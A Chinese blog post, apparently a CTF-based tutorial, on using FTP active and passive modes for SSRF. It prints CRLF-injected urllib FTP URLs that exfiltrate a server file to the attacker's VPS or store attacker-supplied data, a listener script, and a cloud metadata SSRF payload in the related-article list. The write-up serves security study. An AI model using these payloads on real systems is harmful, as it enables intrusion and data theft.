针对FTP的SSRF攻击

最新推荐文章于 2024-04-07 11:37:41 发布
最新推荐文章于 2024-04-07 11:37:41 发布
阅读量456 收藏
点赞数
文章标签： python django pygame virtualenv
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/why811/article/details/133749036
版权

前言

ssrf中常用的协议有http，gopher等。但http协议在ssrf中的用处也仅限于访问内网页面，在可以crlf的情况下才有可能扩大攻击范围。gopher协议比较特殊，在部分环境下支持此协议，如：curl。但还有一些环境就不支持了，如:urllib.request模块。

但最近的laravel框架的rce吸引了我的注意力。此上面提供的文章中，研究员在可使用的协议受到约束的条件下，选择使用ftp协议攻击php-fpm以达到rce。出于此，笔者决定探究ftp协议在ssrf中都有哪些应用。

ftp的两种模式

ftp协议是文件传输协议，其使用模式有两种：

  1. 主动模式

主动模式下，客户端向服务端发送连接请求命令PORT a,a,a,a,b,c，其中a是客户端ipv4的地址，b和c记录了一个由客户端开放的端口(b×256)+c。随后服务端尝试连接客户端指定的地址。连接成功后，两者开始进行文件的传输。

但由于客户端由于防火墙等原因，导致服务端无法连接至客户端。为了解决这个问题，诞生了另一种模式。

  1. 被动模式

被动模式下，客户端向服务端发送连接请求命令PASV，随后服务端返回一个类似于右边字符串的响应227 Entering passive mode (a,a,a,a,b,c).，告诉客户端连接对应的地址进行文件传输。

发现了吗？在上面的命令中a, b, c如果可以受到我们控制，不就可以达到ssrf的效果了吗？

对ftp server进行ssrf

在刚刚结束的starctf中，其中一题oh-my-bet便是用到了主动模式下的ftp进行ssrf，发送二进制数据至mongoDB更改数据库中数据。

以下是原题目中使用pyftpdlib模块搭建于内网中的ftp server。

# import logging
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer


authorizer = DummyAuthorizer()

authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")

handler = FTPHandler
handler.permit_foreign_addresses = True #<-- 此句很重要，原因后说
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer

# logging.basicConfig(level=logging.DEBUG) <-- 在测试时加入此句方便dubug

server = FTPServer(("0.0.0.0", 8877), handler)
server.serve_forever()

除ftp server，还有一个存在于内网的mongoDB，用于储存flask-session的pickle序列化数据。以及一个内网mysql用于储存用户数据。最后是向公网开放的flask web server。

原题目中存在一个参数可控的urllib.request.urlopen(value)，且python版本3.6，存在crlf漏洞。

题目最后要求rce。唯一有可能的突破点，是储存在mongoDB中的flask-session序列化数据。但如果使用http协议crlf传输mongoDB的数据是不行的，会被mongoDB拒绝连接。gopher协议不被urllib.request.urlopen(value)支持。所以最终着眼于ftp协议。

本文为讲解ftp在ssrf中的应用，简化上面环境，假设ftp-server.py所在目录有以下文件。

先在urllib中连接尝试读取文件。

urllib在成功连接控制端口后，会发送url中的用户名与密码，因此可以在密码后crlf，注入其它命令。

以下代码会发送ftp-server.py文件至自己vps的2333端口。

ur.urlopen("ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT v,p,s,ip,9,29\r\nRETR ftp-server.py\r\n@172.17.0.1:8877/ftp-server.py").read()

既然都可以上传至自己vps上的指定端口，那么就可以将其改为内网的任意ip与端口。

ip可控，接下来就是如何控制内容了。

正常情况下，单凭urlopen是无法上传文件的，但因为存在crlf漏洞，我们可以轻易上传文件。

使用以下代码，可以告诉服务器：从自己vps的2333端口获取test文件，并保存。

ur.urlopen("ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT v,p,s,ip,9,29\r\nSTOR test\r\n@172.17.0.1:8877/").read()

这里可以简单写一个socket监听。

import socket

s = socket.socket()
s.bind(("0.0.0.0", 2333))
s.listen()

c, a = s.accept()
print(a)
c.send(b'\x02\x03\x03')
c.close()
s.close()

成功上传。

上面是对ftp server进行ssrf，但在真实情况下就不太可能出现了。这种攻击被称为FTP bounce attack，是一种比较老旧的攻击方式，现在的ftp server都会禁止这一行为。但在此题中handler.permit_foreign_addresses = True，让这种攻击变为可能。

对ftp client进行ssrf

回到开头所说的laravel debug rce。

根据原文，在模块中有以下抽象过的代码。

$data = file_get_contents($file);
file_put_contents($file, $data);

文章首先给出的方法是利用php伪协议清空log文件，然后写入phar数据，再使用phar协议达成反序列化。但还有一个方法，文章没有细说，就是使用ftp协议攻击php-fpm。

那么具体思路如下：

  1. php从我们的ftp server获取payload，存入变量中。
  2. php上传文件时，将被动模式的连接地址改为php所在服务器的内网地址，上传payload攻击。

我们先看一看php的文件类函数是如何发送ftp请求的。

依然是利用上面pyftpdlib模块的脚本开启ftp服务。在命令行使用：

php -r '$data = file_get_contents(\'ftp://fan:root@127.0.0.1:8877/test\');file_put_contents(\'ftp://fan:root@127.0.0.1:8877/test\', $data);'

查看ftp服务日志。(这里仅列出关键信息)

; php获取文件
DEBUG:pyftpdlib:127.0.0.1:18486-[] -> 220 pyftpdlib 1.5.6 ready.
DEBUG:pyftpdlib:127.0.0.1:18486-[] <- USER fan
DEBUG:pyftpdlib:127.0.0.1:18486-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- PASS ******
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 230 Login successful.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- TYPE I
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- SIZE /test
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 213 4
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- EPSV
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 500 'EPSV': command not understood.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- PASV
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 227 Entering passive mode (127,0,0,1,35,40).
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- RETR /test
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 150 File status okay. About to open data connection.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 226 Transfer complete.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- QUIT
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 221 Goodbye.

; php上传文件
DEBUG:pyftpdlib:127.0.0.1:18488-[] -> 220 pyftpdlib 1.5.6 ready.
DEBUG:pyftpdlib:127.0.0.1:18488-[] <- USER fan
DEBUG:pyftpdlib:127.0.0.1:18488-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- PASS ******
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 230 Login successful.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- TYPE I
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- SIZE /test
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 213 4

在这里，php先使用SIZE命令确认文件是否存在，然后使用了EPSV命令，这个命令含义是启用扩展被动模式。ftp server将指返回端口，但不返回ip。解决方法很简单，找一个不支持这个扩展的服务器就行。这里笔者是修改了pyftpdlib模块的源码，使其返回500 'EPSV': command not understood.。

综合上面信息，有两个难点：

  1. php获取和上传的是同一个文件，file_put_contents会检测文件是否已经存在，如果存在则不会进行上传操作。因此需要在php获取文件后的瞬间删除该文件。
  2. 一般ftp client都使用被动模式。php获取文件时，要求被动模式返回ftp server自己的地址。但php上传文件时，返回的却是php所在服务器的内网地址。

很明显，上面的问题套用一般的轮子很难解决。因为ftp协议本身的交互没有那么复杂。所以尝试做一个fake ftp server(https://gitlab.in.starcross.cn/AFKL/laravel-debug-ftp-ssrf)。

这里尝试将一个test字符串从外网，通过php的ftp client发送至php所在服务器内网的2333端口。

效果如下：

总结

ftp可以在ssrf中起到作用，其原因便是PORT和PASV两个命令导致的连接跳转。把握此点，便可使ftp在漏洞利用中大放异彩！

why811
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
FTP爆破攻击：使用Python脚本快速测试FTP服务器的安全性
weixin_43263566的博客
05-30 1718
使用Python脚本进行FTP暴力破解
msf攻击FTP 服务.docx
04-26
通过图文并茂的方式详细描述了利用msf框架进行ftp攻击的过程，文中包含了命令和步骤，很详细，给初学者作为参考。
FTP的安全问题
liumyong的专栏
04-05 2703
摘要 文件传输协议(File Transfer Protocol,FTP)是一个被广泛应用的协议，它使得 我们能够在网络上方便地传输文件。早期FTP并没有涉及安全问题，随着互连网 应用的快速增长，人们对安全的要求也不断提高。本文在介绍了FTP协议的基本 特征后，从两个方面探讨了FTP安全问题的解决方案：协议在安全功能方面扩 展；协议自身的安全问题以及用户如何防范之。 1. 简介 1.1 FTP的一
【应急响应】————1、FTP暴力破解
Fly_鹏程万里
02-22 781
【应急场景】 前段时间,某网站一直被网站管理员吐槽响应速度变得很慢，安全服务工程师小C接到用户反馈后就第一时间登录了服务器,发现服务器非常卡,虽然重启服务器就能保证一段时间的正常访问，但是网站响应状态时而飞快时而缓慢，快则1-2秒，慢则2分钟以上。 小C针对网站服务器异常，把系统日志和网站日志作为排查处理的重点，他查看Window安全日志，发现大量登录失败的记录： 到这里，小C知道下一步...
应急响应实战笔记——Windows实战篇：① FTP暴力破解
最新发布
君逍遥o
04-07 524
FTP是一个文件传输协议，用户通过FTP可从客户机程序向远程主机上传或下载文件，常用于网站代码维护、日常源码备份等。如果攻击者通过FTP匿名访问或者弱口令获取FTP权限，可直接上传webshell，进一步渗透提权，直至控制整个网站服务器。
入门渗透：FTP入侵——Fawn
栉风沐雪的博客
01-31 1666
入门渗透：FTP入侵——Fawn，使用的是hackthebox靶机。小技巧：可以通过搜索引擎查找csftpd 3.0.3出现的CVE漏洞等，一般最新的服务漏洞不会曝光，但是如果不是最新版本，可以查找相关的漏洞，使用msf的模块进行渗透。遇到没有进行加密的ftp一般运行于21端口，此处靶机为简单的ftp服务。使用的是hackthebox的Fawn靶机。
暴力破解FTP服务器技术探讨与防范措施
李晨光原创IT博客
05-19 2084
暴力破解FTP服务器技术探讨与防范措施随着Internet的发展出现了由于大量傻瓜化黑客工具任何一种黑客攻击手段的门槛都降低了很多但是暴力破解法的工具制作都已经非常容易大家通常会认为暴力破解攻击只是针对某一种FTP服务器发起的攻击能具有代表性吗可以拓展到其他的网络或服务器上吗答案当然是肯定的。暴力破解这种软件使用起来没有什么技术含量原理就是一个接一个的试直到试验出正确的密码也就是破解成功了。不过这
网络协议与攻击模拟_15FTP协议
fencecat的博客
02-05 1487
FTP（文件传输协议）由两部分组成：客户端/服务端（C/S架构）。 应用场景：企业内部存放公司文件、开发网站时利用FTP协议将网页或程序传到网站服务器，网络中传输一些大文件使用该协议。 FTP：基于传输层TCP的，默认端口号（20号端口一般用于传输数据，21号端口用于传输控制信息），但是，是否使用20号端口作为传输数据端口和FTP的传输模式有关系。 如果采用的主动模式，传输数据使用20号端口；如果采用的被动模式，传输使用的端口需要服务器和客户机协商决定
kali利用ftp端口（21）漏洞攻击Metasploitable2-Linux靶机（笑脸漏洞）
qq_58018041的博客
04-22 3206
#vsftpd源码包含后门漏洞#思路：开放21端口，并且vsftpd版本号为2.3.4#原理：在特定版本的vsftpd服务器程序中，被人恶意植入代码，当用户名以“:）”结尾时，服务器就会在6200端口监听，并且能够执行任意代码。攻击机：kali :192.168.111.128靶机：Metasploitable2-Linux:192.168.111.132Metasploitable 的用户名和密码均为：msfadmin。
FTP-利用FTP后门漏洞
Myu_wzy的博客
09-24 791
一、实验原理 vsftpd手工触发漏洞： 当进行FTP认证时，如果用户名USER中包含" :) "，那么直接就触发监听6200端口的连接的shell 二、实验环境 目标主机：Metasploit2虚拟机 192.168.20.143 攻击主机： Kali2虚拟机 192.168.20.133 三、实验过程 先用nc连接靶机，并在进行FTP认证时，用户名包含" :) " 此时靶机的6200端口已经开启 由于nmap进行自动扫描时，默认不会扫描6200端口，所以需要我们手动扫描6.
FTP 跳转攻击
mgxcool的专栏
09-06 8557
FTP主动模式中，客户端向服务器发送port命令，指定ip和端口号，服务器收到后，会从80端口发起数据连接。PORT命令格式如下： PORT A，B，C，D，E，F 服务器解析后，参数的前四个字段，作为地址A.B.C.D，对应的数据连接的目标端口为E*256+F。   ftp的这个特性，被利用的话，可以导致安全问题。假设A.B.C.D是一个邮件服务器，那么如果E,F的值算出
SSRF：针对关键业务应用的新威胁.pdf
08-07
企业应用程序 定义 典型企业环境 企业威胁和防御 SSRF 发展历程 类型 XXE隧道 使用SSRF攻击SAP 旧攻击的新活力 绕过安全限制 利用其他服务 结论
WebLogic SSRF 及漏洞修复
11-25
WebLogic SSRF 及漏洞修复方法 CVE-2014-4210 10.0.2,10.3.6
SSRF利用总结
04-24
SSRF漏洞利用总结，类似SQL注入小计的形式，总结地比较完整。
SSRF bible. Cheatsheet
08-06
SSRF bible. Cheatsheet SSRF attack and sockets presentation.
你未见过的SSRF利用方式
06-20
SSRF (Server-Side Request Forgery:服务器端请求伪造) 是⼀种由攻击者构造形成，由服务端发起请求的⼀个安全漏洞 原因是由于服务端提供了从其他服务器应⽤获取数据的功能且没有对地址和协议等做过滤和限制 本⽂讲解...
linux的FTP服务器搭建及FTP服务器的***和防御
weixin_33852020的博客
09-13 195
FTP 是File Transfer Protocol（文件传输协议）的英文简称，而中文简称为“文传协议”。用于Internet上的控制文件的双向传输。与大多数Internet服务一样，FTP也是一个客户机/服务器系统。用户通过一个支持FTP协议的客户机程序，连接到在远程主机上的FTP服务器程序。用户通过客户机程序向服务器程序发出命令，服务器程序执行用户所发出的命令，并将执行...
端口漏洞之21(FTP)
初岄的博客
10-12 3990
FTP 是 File Transfer Protocol（文件传输协议）的英文简称，而中文简称为“文件传输协议”。用于 Internet 上的控制文件的双向传输。同时，它也是一个应用程序（Application）。基于不同的操作系统有不同的 FTP 应用程序，而所有这些应用程序都遵守同一种协议用以传输文件。在 FTP 的使用当中，用户经常遇到两个概念：“下载”（Download）和 “上传”（Upload）。“下载”文件就是从远程主机拷贝文件至自己的计算机上；
基于pikachu靶场实施SSRF攻击
05-23
首先，我要强调一点，进行任何网络攻击都是非法的，违反了法律，可能会导致严重后果。因此，我不建议或者支持任何形式的网络攻击。 SSRF（Server-Side Request Forgery）攻击是一种利用目标服务器上的漏洞，将服务器发出的请求定向到攻击者指定的服务器上的攻击方式。 在实施SSRF攻击时，可以利用pikachu靶场搭建的Web应用程序进行测试和练习。以下是基本步骤： 1. 在pikachu靶场中，选择一个已知存在SSRF漏洞的Web应用程序进行攻击。例如，如果您已经获得了一个URL输入框，请尝试在输入框中输入以下内容： ``` http://127.0.0.1/admin ``` 这将使Web应用程序向本地主机发送请求，可能会导致信息泄露或其他安全问题。 2. 如果您无法手动确定目标服务器的IP地址和端口号，可以使用以下Payload： ``` http://169.254.169.254/latest/meta-data/ ``` 这个Payload可以让服务器向AWS元数据服务器发出请求，并返回有关实例和其他信息的有用数据。这是一种常见的SSRF攻击技术。 3. 在攻击过程中，您可能需要使用“burp suite”等代理工具来捕获和修改请求，以便更好地控制攻击流程。 需要注意的是，上述步骤仅供参考，实施SSRF攻击是非法的，只能在合法的授权测试环境中进行。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值